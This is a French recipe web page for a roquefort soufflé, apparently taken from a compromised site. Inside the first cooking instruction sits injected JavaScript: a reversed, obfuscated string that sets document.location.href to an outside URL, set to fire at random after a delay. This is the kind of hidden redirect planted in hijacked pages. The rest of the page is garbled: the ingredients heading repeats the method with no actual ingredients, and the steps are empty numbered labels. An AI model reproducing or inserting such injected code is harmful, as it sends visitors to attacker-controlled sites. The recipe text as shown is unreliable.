Soufflé au roquefort
2021-05-18- Cuisine : Soufflé
- Thématique : Végétarien
- Niveau : Difficile
Montez les blancs en neige ferme avec 1 pincée de sel fin. Dans une casserole, déposez le beurre, faites chauffer sur feu moyen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Ajoutez la farine en une seule fois, sans s’arrêter de mélanger. Évitez de faire brunir.
Ingrédients
Montez les blancs en neige ferme avec 1 pincée de sel fin. Dans une casserole, déposez le beurre, faites chauffer sur feu moyen tout en remuant. Ajoutez la farine en une seule fois, sans s'arrêter de mélanger. Évitez de faire brunir. Versez le lait par petites quantités et obtenir une béchamel épaisse, salez, poivrez, ajoutez la noix de muscade. Laissez tiédir.
Incorporez les œufs entiers et les jaunes d'œufs, un par un tout en remuant énergiquement. Ajoutez les blancs d'œufs.
Bien mélanger avec une spatule en bois.
Répartissez cette préparation dans des petits moules à soufflé légèrement beurrés.
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire dans un bain-marie chaud pendant 25 minutes. (Ne pas ouvrir la porte du four pendant la cuisson).
Vérifiez la cuisson et dégustez rapidement
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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